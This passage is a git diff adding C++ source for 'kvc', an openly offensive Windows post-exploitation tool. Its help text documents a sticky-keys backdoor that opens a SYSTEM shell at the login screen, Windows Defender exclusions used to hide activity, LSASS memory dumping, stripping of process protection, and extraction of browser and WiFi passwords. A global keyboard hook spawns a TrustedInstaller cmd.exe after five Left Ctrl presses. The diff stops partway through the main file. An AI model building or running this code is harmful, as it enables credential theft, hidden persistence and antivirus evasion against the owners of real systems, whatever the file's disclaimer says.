PrintCommandLine(L"add-exclusion ", L"Add file/folder to exclusions (legacy syntax)"); + PrintCommandLine(L"add-exclusion Paths ", L"Add specific path to exclusions"); + PrintCommandLine(L"add-exclusion Processes ", L"Add process to exclusions"); + PrintCommandLine(L"add-exclusion Extensions ", L"Add file extension to exclusions"); + PrintCommandLine(L"add-exclusion IpAddresses ", L"Add IP address/CIDR to exclusions"); + PrintCommandLine(L"remove-exclusion [TYPE] ", L"Remove exclusion (same syntax as add)"); + PrintNote(L"When no path specified, adds current program to both Paths and Processes"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintDPAPICommands() noexcept +{ + PrintSectionHeader(L"DPAPI Secrets Extraction Commands"); + PrintCommandLine(L"export secrets [path]", L"Extract browser & WiFi secrets using TrustedInstaller"); + PrintNote(L"Default path is the Downloads folder - simple: 'kvc export secrets'"); + PrintNote(L"Extracts Chrome, Edge passwords + WiFi credentials + master keys"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintProtectionTypes() noexcept +{ + PrintSectionHeader(L"Protection Types"); + std::wcout << L" PP - Protected Process (highest protection level)\n"; + std::wcout << L" PPL - Protected Process Light (medium protection level)\n\n"; + + PrintSectionHeader(L"Signer Types"); + std::wcout << L" Authenticode - Standard code signing authority\n"; + std::wcout << L" CodeGen - Code generation process signing\n"; + std::wcout << L" Antimalware - Antimalware vendor signing (for security software)\n"; + std::wcout << L" Lsa - Local Security Authority signing\n"; + std::wcout << L" Windows - Microsoft Windows component signing\n"; + std::wcout << L" WinTcb - Windows Trusted Computing Base signing\n"; + std::wcout << L" WinSystem - Windows System component signing\n"; + std::wcout << L" App - Application store signing\n\n"; +} + +void HelpSystem::PrintExclusionTypes() noexcept +{ + PrintSectionHeader(L"Exclusion Types"); + std::wcout << L" Paths - File/folder paths (C:\\malware.exe, C:\\temp\\)\n"; + std::wcout << L" Processes - Process names (malware.exe, cmd.exe)\n"; + std::wcout << L" Extensions - File extensions (.exe, .dll, .tmp)\n"; + std::wcout << L" IpAddresses - IP addresses/CIDR (192.168.1.1, 10.0.0.0/24)\n\n"; +} + +void HelpSystem::PrintPatternMatching() noexcept +{ + PrintSectionHeader(L"Process Name Matching"); + std::wcout << L" - Exact match: 'explorer', 'notepad'\n"; + std::wcout << L" - Partial match: 'total' matches 'totalcmd64'\n"; + std::wcout << L" - Wildcards: 'total*' matches 'totalcmd64.exe'\n"; + std::wcout << L" - Case insensitive matching supported\n"; + std::wcout << L" - Multiple matches require more specific patterns\n\n"; +} + +void HelpSystem::PrintTechnicalFeatures() noexcept +{ + PrintSectionHeader(L"TrustedInstaller Features"); + std::wcout << L" - Executes commands with maximum system privileges\n"; + std::wcout << L" - Supports .exe files and .lnk shortcuts automatically\n"; + std::wcout << L" - Adds convenient context menu entries\n"; + std::wcout << L" - Enhanced Windows Defender exclusion management\n\n"; + + PrintSectionHeader(L"Technical Features"); + std::wcout << L" - Dynamic kernel driver loading (no permanent installation)\n"; + std::wcout << L" - Embedded encrypted driver with steganographic protection\n"; + std::wcout << L" - Automatic privilege escalation for memory dumping\n"; + std::wcout << L" - Complete cleanup on exit (no system traces)\n"; + std::wcout << L" - Advanced process pattern matching\n"; + std::wcout << L" - Color-coded process protection visualization\n"; + std::wcout << L" - IFEO sticky keys backdoor with Defender bypass\n"; + std::wcout << L" - Self-protection capabilities for advanced scenarios\n"; + std::wcout << L" - Comprehensive Windows Defender exclusion management\n\n"; +} + +void HelpSystem::PrintDefenderNotes() noexcept +{ + PrintSectionHeader(L"Defender Exclusion Notes"); + std::wcout << L" Defender exclusions use PowerShell Add-MpPreference commands with TrustedInstaller.\n"; + std::wcout << L" Extensions: Automatically adds leading dot if missing (.exe, not exe)\n"; + std::wcout << L" Processes: Extracts filename from full path if provided\n"; + std::wcout << L" IpAddresses: Supports CIDR notation (192.168.1.0/24)\n"; + std::wcout << L" Self-protection: When no arguments, adds to both Paths and Processes\n"; + std::wcout << L" Legacy syntax (kvc add-exclusion file.exe) still works for compatibility\n\n"; +} + +void HelpSystem::PrintStickyKeysInfo() noexcept +{ + PrintSectionHeader(L"Sticky Keys Backdoor Features"); + std::wcout << L" - Press 5x Shift on login screen to get SYSTEM cmd.exe\n"; + std::wcout << L" - Works without login or active session\n"; + std::wcout << L" - Bypasses Windows Defender with process exclusions\n"; + std::wcout << L" - Uses Image File Execution Options (IFEO) technique\n"; + std::wcout << L" - Complete cleanup with 'unshift' command\n\n"; + + PrintSectionHeader(L"Sticky Keys Backdoor Notes"); + std::wcout << L" After 'kvc shift', press 5x Shift on Windows login screen to get cmd.exe.\n"; + std::wcout << L" The cmd runs with SYSTEM privileges without requiring login.\n"; + std::wcout << L" Defender process exclusions prevent detection of cmd.exe activity.\n"; + std::wcout << L" Use 'kvc unshift' to completely remove all traces.\n"; + std::wcout << L" This technique works on Windows 7-11, including Server editions.\n\n"; +} + +void HelpSystem::PrintUndumpableProcesses() noexcept +{ + PrintSectionHeader(L"Undumpable System Processes"); + std::wcout << L" - System (PID 4) - Windows kernel process\n"; + std::wcout << L" - Secure System (PID 188) - VSM/VBS protected process\n"; + std::wcout << L" - Registry (PID 232) - Kernel registry subsystem\n"; + std::wcout << L" - Memory Compression - Kernel memory manager\n"; + std::wcout << L" - [Unknown] processes - Transient kernel processes\n\n"; +} + +void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept +{ + PrintSectionHeader(L"Usage Examples"); + const int commandWidth = 50; + + auto printLine = [&](const std::wstring& command, const std::wstring& description) { + std::wcout << L" " << std::left << std::setw(commandWidth) + << (std::wstring(programName) + L" " + command) + << L"# " << description << L"\n"; + }; + + printLine(L"shift", L"Install sticky keys backdoor"); + printLine(L"unshift", L"Remove sticky keys backdoor"); + printLine(L"install", L"Install as NT service (advanced)"); + printLine(L"service start", L"Start the service"); + printLine(L"uninstall", L"Remove service"); + printLine(L"dump lsass C:\\dumps", L"Dump LSASS to specific folder"); + printLine(L"dump 1044", L"Dump PID 1044 to Downloads folder"); + printLine(L"list", L"Show all protected processes"); + printLine(L"info lsass", L"Detailed info with dumpability analysis"); + printLine(L"protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware"); + printLine(L"set 5678 PP Windows", L"Force set PP-Windows protection"); + printLine(L"unprotect lsass", L"Remove protection from LSASS"); + printLine(L"unprotect 1,2,3,lsass", L"Batch unprotect multiple targets"); + printLine(L"trusted cmd", L"Run command as TrustedInstaller"); + printLine(L"trusted \"C:\\app.exe\" --arg", L"Run application with arguments"); + printLine(L"install-context", L"Add right-click menu entries"); + printLine(L"add-exclusion", L"Add current program to exclusions"); + printLine(L"add-exclusion C:\\malware.exe", L"Add specific file to exclusions"); + printLine(L"add-exclusion Paths C:\\temp", L"Add folder to path exclusions"); + printLine(L"add-exclusion Processes cmd.exe", L"Add process to exclusions"); + printLine(L"add-exclusion Extensions .tmp", L"Add extension to exclusions"); + printLine(L"add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions"); + printLine(L"remove-exclusion Processes cmd.exe", L"Remove process exclusion"); + printLine(L"export secrets", L"Export secrets to Downloads folder"); + printLine(L"export secrets C:\\reports", L"Export secrets to specific folder"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintSecurityNotice() noexcept +{ + PrintSectionHeader(L"SECURITY & LEGAL NOTICE"); + + // Critical warning section with red highlighting + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); + std::wcout << L" WARNING: POWERFUL SECURITY RESEARCH TOOL - USE RESPONSIBLY\n\n"; + SetConsoleTextAttribute(hConsole, originalColor); + + std::wcout << L" CAPABILITIES & REQUIREMENTS:\n"; + std::wcout << L" - Kernel driver manipulation with advanced memory access techniques\n"; + std::wcout << L" - DPAPI secret extraction (browser passwords, WiFi credentials, certificates)\n"; + std::wcout << L" - Windows Defender bypass and exclusion management\n"; + std::wcout << L" - System persistence mechanisms (sticky keys backdoor, IFEO techniques)\n"; + std::wcout << L" - TrustedInstaller privilege escalation and system-level operations\n"; + std::wcout << L" - Process protection manipulation and memory dumping\n"; + std::wcout << L" - Registry modifications and service installation capabilities\n\n"; + + std::wcout << L" TECHNICAL IMPLEMENTATION:\n"; + std::wcout << L" - Embedded encrypted kernel driver with steganographic protection\n"; + std::wcout << L" - Dynamic driver loading - temporary deployment with automatic cleanup\n"; + std::wcout << L" - Administrator privileges required for all security operations\n"; + std::wcout << L" - Most operations leave no permanent traces except when explicitly requested\n"; + std::wcout << L" - Some commands (shift, install, add-exclusion) make persistent changes\n"; + std::wcout << L" - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n"; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L" LEGAL & ETHICAL RESPONSIBILITY:\n"; + SetConsoleTextAttribute(hConsole, originalColor); + std::wcout << L" - Intended for authorized penetration testing and security research only\n"; + std::wcout << L" - User assumes full legal responsibility for all actions performed\n"; + std::wcout << L" - Ensure proper authorization before using on any system\n"; + std::wcout << L" - Misuse may violate computer crime laws in your jurisdiction\n"; + std::wcout << L" - This tool can modify system security settings and extract sensitive data\n\n"; + + SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L" PROFESSIONAL USE GUIDELINES:\n"; + SetConsoleTextAttribute(hConsole, originalColor); + std::wcout << L" - Document all activities for security assessments\n"; + std::wcout << L" - Use 'unshift' and 'remove-exclusion' commands to clean up after testing\n"; + std::wcout << L" - Verify system state before and after testing\n"; + std::wcout << L" - Report findings through appropriate responsible disclosure channels\n\n"; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); + std::wcout << L" By using this tool, you acknowledge understanding and accept full responsibility.\n\n"; + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintFooter() noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + const int width = 80; + + // Top border with blue color + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n"; + + // Centered footer content - split into multiple lines + std::wstring line1 = L"Support this project - a small donation is greatly appreciated"; + std::wstring line2 = L"and helps sustain private research builds."; + std::wstring line3 = L"GitHub source code: https://github.com/wesmar/kvc/"; + std::wstring line4 = L"Professional services: marek@wesolowski.eu.org"; + + auto printCenteredFooter = [&](const std::wstring& text) { + int textLen = static_cast(text.length()); + int padding = (width - 2 - textLen) / 2; + if (padding < 0) padding = 0; + + // Left border in blue + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|"; + + // Text in white + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(padding, L' ') << text + << std::wstring(width - 2 - padding - textLen, L' '); + + // Right border in blue + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|\n"; + }; + + printCenteredFooter(line1); + printCenteredFooter(line2); + printCenteredFooter(line3); + printCenteredFooter(line4); + + // Donation line with colored links + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|"; + + // Calculate spacing for PayPal and Revolut + std::wstring paypal = L"PayPal: "; + std::wstring paypalLink = L"paypal.me/ext1"; + std::wstring middle = L" "; + std::wstring revolut = L"Revolut: "; + std::wstring revolutLink = L"revolut.me/marekb92"; + + int totalLen = static_cast(paypal.length() + paypalLink.length() + + middle.length() + revolut.length() + revolutLink.length()); + int padding = (width - totalLen - 2) / 2; + if (padding < 0) padding = 0; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(padding, L' ') << paypal; + SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << paypalLink; + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << middle << revolut; + SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << revolutLink; + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(width - totalLen - padding - 2, L' '); + + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|\n"; + + // Bottom border + std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} + +// Helper functions for consistent formatting and color management +void HelpSystem::PrintSectionHeader(const wchar_t* title) noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + // Yellow color for section headers + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L"=== " << title << L" ===\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept +{ + const int commandWidth = 50; + std::wcout << L" " << std::left << std::setw(commandWidth) + << command << L"- " << description << L"\n"; +} + +void HelpSystem::PrintNote(const wchar_t* note) noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + // Gray color for informational notes + SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY); + std::wcout << L" " << note << L"\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintWarning(const wchar_t* warning) noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + // Red color for warning messages + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); + std::wcout << L" " << warning << L"\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} +void HelpSystem::PrintBrowserCommands() noexcept +{ + PrintSectionHeader(L"Browser Password Extraction Commands"); + PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)"); + PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly"); + PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords"); + PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords"); + PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory"); + PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path"); + PrintNote(L"Requires kvc_pass.exe in current directory"); + PrintNote(L"Uses COM elevation for advanced browser encryption"); + std::wcout << L"\n"; +} \ No newline at end of file diff --git a/kvc/HelpSystem.h b/kvc/HelpSystem.h new file mode 100644 index 0000000..d2961bb --- /dev/null +++ b/kvc/HelpSystem.h @@ -0,0 +1,42 @@ +#pragma once + +#include "common.h" +#include + +// Comprehensive help system for kvc with modular command documentation +class HelpSystem +{ +public: + HelpSystem() = delete; + ~HelpSystem() = delete; + + // Main help interface + static void PrintUsage(std::wstring_view programName) noexcept; + + // Specific help sections + static void PrintHeader() noexcept; + static void PrintBasicCommands() noexcept; + static void PrintProtectionCommands() noexcept; + static void PrintSystemCommands() noexcept; + static void PrintDefenderCommands() noexcept; + static void PrintDPAPICommands() noexcept; + static void PrintBrowserCommands() noexcept; + static void PrintServiceCommands() noexcept; + static void PrintProtectionTypes() noexcept; + static void PrintExclusionTypes() noexcept; + static void PrintPatternMatching() noexcept; + static void PrintTechnicalFeatures() noexcept; + static void PrintDefenderNotes() noexcept; + static void PrintStickyKeysInfo() noexcept; + static void PrintUndumpableProcesses() noexcept; + static void PrintUsageExamples(std::wstring_view programName) noexcept; + static void PrintSecurityNotice() noexcept; + static void PrintFooter() noexcept; + +private: + // Helper methods for consistent formatting + static void PrintSectionHeader(const wchar_t* title) noexcept; + static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept; + static void PrintNote(const wchar_t* note) noexcept; + static void PrintWarning(const wchar_t* warning) noexcept; +}; \ No newline at end of file diff --git a/kvc/ICON/kvc.ico b/kvc/ICON/kvc.ico new file mode 100644 index 0000000..22c098e Binary files /dev/null and b/kvc/ICON/kvc.ico differ diff --git a/kvc/KeyboardHook.cpp b/kvc/KeyboardHook.cpp new file mode 100644 index 0000000..9e5cc1d --- /dev/null +++ b/kvc/KeyboardHook.cpp @@ -0,0 +1,239 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "KeyboardHook.h" +#include "TrustedInstallerIntegrator.h" +#include "common.h" +#include + +// Static members +HHOOK KeyboardHook::m_hookHandle = nullptr; +std::vector KeyboardHook::m_leftCtrlSequence; +std::chrono::steady_clock::time_point KeyboardHook::m_lastKeyTime; + +KeyboardHook::KeyboardHook() +{ + m_leftCtrlSequence.reserve(SEQUENCE_LENGTH * 2); // Pre-allocate for efficiency +} + +KeyboardHook::~KeyboardHook() +{ + Uninstall(); +} + +bool KeyboardHook::Install() noexcept +{ + if (m_hookHandle) { + INFO(L"Keyboard hook already installed"); + return true; + } + + // Install low-level keyboard hook + m_hookHandle = SetWindowsHookEx( + WH_KEYBOARD_LL, + LowLevelKeyboardProc, + GetModuleHandle(nullptr), + 0 // Global hook + ); + + if (!m_hookHandle) { + ERROR(L"Failed to install keyboard hook: %d", GetLastError()); + return false; + } + + // Initialize tracking state + m_leftCtrlSequence.clear(); + m_lastKeyTime = std::chrono::steady_clock::now(); + + INFO(L"Low-level keyboard hook installed successfully"); + INFO(L"Sequence trigger: 5x Left Ctrl within %d ms", SEQUENCE_TIMEOUT_MS); + return true; +} + +void KeyboardHook::Uninstall() noexcept +{ + if (m_hookHandle) { + if (UnhookWindowsHookEx(m_hookHandle)) { + INFO(L"Keyboard hook uninstalled successfully"); + } else { + ERROR(L"Failed to uninstall keyboard hook: %d", GetLastError()); + } + m_hookHandle = nullptr; + } + + // Clear tracking state + m_leftCtrlSequence.clear(); +} + +LRESULT CALLBACK KeyboardHook::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + // Must call next hook in chain if nCode < 0 + if (nCode < 0) { + return CallNextHookEx(m_hookHandle, nCode, wParam, lParam); + } + + // Process keyboard event + if (nCode == HC_ACTION) { + KBDLLHOOKSTRUCT* pKeyboard = reinterpret_cast(lParam); + + // Check if it's Left Control key + if (pKeyboard->vkCode == VK_LCONTROL) { + bool isKeyDown = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN); + bool isKeyUp = (wParam == WM_KEYUP || wParam == WM_SYSKEYUP); + + if (isKeyDown || isKeyUp) { + ProcessLeftCtrlEvent(isKeyDown); + } + } + else { + // Any other key resets the sequence (prevents accidental triggering) + if (!m_leftCtrlSequence.empty()) { + m_leftCtrlSequence.clear(); + } + } + } + + // Continue processing + return CallNextHookEx(m_hookHandle, nCode, wParam, lParam); +} + +void KeyboardHook::ProcessLeftCtrlEvent(bool isKeyDown) noexcept +{ + auto now = std::chrono::steady_clock::now(); + + // Debouncing - ignore events too close together + auto timeSinceLastKey = std::chrono::duration_cast(now - m_lastKeyTime).count(); + if (timeSinceLastKey < DEBOUNCE_MS) { + return; + } + + m_lastKeyTime = now; + + // Only track key press events (down), ignore key release for simplicity + if (!isKeyDown) { + return; + } + + // Add to sequence + m_leftCtrlSequence.push_back({now, isKeyDown}); + + // Remove old entries outside time window + ClearOldEntries(); + + // Check if sequence is complete + if (CheckSequenceComplete()) { + INFO(L"5x Left Ctrl sequence detected! Launching TrustedInstaller CMD..."); + TriggerTrustedInstallerCmd(); + + // Clear sequence to prevent repeated triggering + m_leftCtrlSequence.clear(); + } + +#if kvc_DEBUG_ENABLED + LogSequenceState(); +#endif +} + +bool KeyboardHook::CheckSequenceComplete() noexcept +{ + // Need exactly SEQUENCE_LENGTH key presses + size_t keyPressCount = 0; + for (const auto& entry : m_leftCtrlSequence) { + if (entry.isPress) { + keyPressCount++; + } + } + + return keyPressCount >= SEQUENCE_LENGTH; +} + +void KeyboardHook::ClearOldEntries() noexcept +{ + auto now = std::chrono::steady_clock::now(); + auto cutoffTime = now - std::chrono::milliseconds(SEQUENCE_TIMEOUT_MS); + + // Remove entries older than timeout + auto it = std::remove_if(m_leftCtrlSequence.begin(), m_leftCtrlSequence.end(), + [cutoffTime](const KeyPress& entry) { + return entry.timestamp < cutoffTime; + }); + + m_leftCtrlSequence.erase(it, m_leftCtrlSequence.end()); +} + +void KeyboardHook::TriggerTrustedInstallerCmd() noexcept +{ + // Launch CMD with TrustedInstaller privileges + if (LaunchCmdWithTrustedInstaller()) { + SUCCESS(L"TrustedInstaller CMD launched successfully"); + } else { + ERROR(L"Failed to launch TrustedInstaller CMD"); + } +} + +bool KeyboardHook::LaunchCmdWithTrustedInstaller() noexcept +{ + try { + // Use existing TrustedInstaller infrastructure + TrustedInstallerIntegrator trustedInstaller; + + // Launch cmd.exe with maximum privileges + std::wstring cmdLine = L"cmd.exe"; + bool success = trustedInstaller.RunAsTrustedInstaller(cmdLine); + + if (success) { + INFO(L"CMD.exe launched with TrustedInstaller privileges via 5x Left Ctrl"); + } else { + ERROR(L"Failed to launch CMD.exe with TrustedInstaller privileges"); + } + + return success; + + } catch (const std::exception& e) { + std::string msg = e.what(); + std::wstring wmsg(msg.begin(), msg.end()); + ERROR(L"Exception launching TrustedInstaller CMD: %s", wmsg.c_str()); + return false; + } catch (...) { + ERROR(L"Unknown exception launching TrustedInstaller CMD"); + return false; + } +} + +void KeyboardHook::LogSequenceState() noexcept +{ + if (m_leftCtrlSequence.empty()) { + return; + } + + size_t keyPressCount = 0; + for (const auto& entry : m_leftCtrlSequence) { + if (entry.isPress) { + keyPressCount++; + } + } + + DEBUG(L"Left Ctrl sequence: %zu/%d presses tracked", keyPressCount, SEQUENCE_LENGTH); +} \ No newline at end of file diff --git a/kvc/KeyboardHook.h b/kvc/KeyboardHook.h new file mode 100644 index 0000000..9d828b9 --- /dev/null +++ b/kvc/KeyboardHook.h @@ -0,0 +1,50 @@ +#pragma once + +#include "common.h" +#include +#include + +// Low-level keyboard hook for 5x Left Ctrl sequence detection +class KeyboardHook +{ +public: + KeyboardHook(); + ~KeyboardHook(); + + KeyboardHook(const KeyboardHook&) = delete; + KeyboardHook& operator=(const KeyboardHook&) = delete; + + // Hook management + bool Install() noexcept; + void Uninstall() noexcept; + bool IsInstalled() const noexcept { return m_hookHandle != nullptr; } + + // Configuration + static constexpr int SEQUENCE_LENGTH = 5; // 5x Left Ctrl presses + static constexpr DWORD SEQUENCE_TIMEOUT_MS = 2000; // 2 second window + static constexpr DWORD DEBOUNCE_MS = 50; // Debounce period + +private: + // Hook callback + static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam); + + // Sequence tracking + struct KeyPress { + std::chrono::steady_clock::time_point timestamp; + bool isPress; // true for key down, false for key up + }; + + static HHOOK m_hookHandle; + static std::vector m_leftCtrlSequence; + static std::chrono::steady_clock::time_point m_lastKeyTime; + + // Internal logic + static void ProcessLeftCtrlEvent(bool isKeyDown) noexcept; + static bool CheckSequenceComplete() noexcept; + static void ClearOldEntries() noexcept; + static void TriggerTrustedInstallerCmd() noexcept; + static bool LaunchCmdWithTrustedInstaller() noexcept; + + // Debugging and logging + static void LogSequenceState() noexcept; +}; \ No newline at end of file diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp new file mode 100644 index 0000000..c1b6724 --- /dev/null +++ b/kvc/Kvc.cpp @@ -0,0 +1,750 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "common.h" +#include "Controller.h" +#include "ServiceManager.h" +#include "HelpSystem.h" +#include +#include +#include +#include +#include + +// Forward declarations for utility functions +std::optional ParsePid(std::wstring_view pidStr) noexcept; +bool IsNumeric(std::wstring_view str) noexcept; +bool IsHelpFlag(std::wstring_view arg) noexcept; +std::optional ParseExclusionType(std::wstring_view typeStr) noexcept; +void CleanupDriver() noexcept; + +// Global state for signal handling and cleanup +volatile bool g_interrupted = false; +std::unique_ptr g_controller = nullptr; + +// Signal handler for graceful Ctrl+C cleanup preventing system instability +void SignalHandler(int signal) +{ + if (signal == SIGINT && !g_interrupted) + { + g_interrupted = true; + std::wcout << L"\n[!] Ctrl+C detected - emergency cleanup..." << std::endl; + + if (g_controller) + { + try + { + g_controller->StopDriverService(); + std::wcout << L"[+] Emergency cleanup completed" << std::endl; + } + catch (...) + { + std::wcout << L"[-] Emergency cleanup failed" << std::endl; + } + } + + ExitProcess(130); + } +} + +// Parse exclusion type from string for enhanced Defender management +std::optional ParseExclusionType(std::wstring_view typeStr) noexcept +{ + static const std::unordered_map typeMap = { + {L"paths", TrustedInstallerIntegrator::ExclusionType::Paths}, + {L"processes", TrustedInstallerIntegrator::ExclusionType::Processes}, + {L"extensions", TrustedInstallerIntegrator::ExclusionType::Extensions}, + {L"ipaddresses", TrustedInstallerIntegrator::ExclusionType::IpAddresses} + }; + + std::wstring lowerType(typeStr); + std::transform(lowerType.begin(), lowerType.end(), lowerType.begin(), ::towlower); + + auto it = typeMap.find(lowerType); + return (it != typeMap.end()) ? std::make_optional(it->second) : std::nullopt; +} + +// Main application entry point with comprehensive command handling +int wmain(int argc, wchar_t* argv[]) +{ + signal(SIGINT, SignalHandler); + + // Service mode detection - MUST BE FIRST to handle NT service startup + if (argc >= 2) { + std::wstring_view firstArg = argv[1]; + if (firstArg == L"--service") { + return ServiceManager::RunAsService(); + } + } + + // Display help if no arguments or help flag provided + if (argc < 2) + { + HelpSystem::PrintUsage(argv[0]); + return 1; + } + + std::wstring_view firstArg = argv[1]; + if (IsHelpFlag(firstArg)) + { + HelpSystem::PrintUsage(argv[0]); + return 0; + } + + // Initialize controller for kernel operations + g_controller = std::make_unique(); + std::wstring_view command = firstArg; + + try + { + // Service management commands for advanced deployment scenarios + if (command == L"install") + { + wchar_t exePath[MAX_PATH]; + if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) { + ERROR(L"Failed to get current executable path"); + return 1; + } + + INFO(L"Installing Kernel Vulnerability Capabilities Framework service for advanced scenarios..."); + bool success = ServiceManager::InstallService(exePath); + return success ? 0 : 1; + } + + else if (command == L"uninstall") + { + INFO(L"Uninstalling Kernel Vulnerability Capabilities Framework service..."); + bool success = ServiceManager::UninstallService(); + return success ? 0 : 1; + } + + else if (command == L"service") + { + if (argc < 3) { + ERROR(L"Missing service command. Usage: service "); + return 1; + } + + std::wstring_view serviceCmd = argv[2]; + + if (serviceCmd == L"start") { + INFO(L"Starting Kernel Vulnerability Capabilities Framework service..."); + bool success = ServiceManager::StartServiceProcess(); + if (success) { + SUCCESS(L"Service started successfully"); + return 0; + } else { + ERROR(L"Failed to start service"); + return 1; + } + } + else if (serviceCmd == L"stop") { + INFO(L"Stopping Kernel Vulnerability Capabilities Framework service..."); + bool success = ServiceManager::StopServiceProcess(); + if (success) { + SUCCESS(L"Service stopped successfully"); + return 0; + } else { + ERROR(L"Failed to stop service"); + return 1; + } + } + else if (serviceCmd == L"status") { + // Enhanced service status checking with detailed output + INFO(L"Checking Kernel Vulnerability Capabilities Framework service status..."); + + const bool installed = 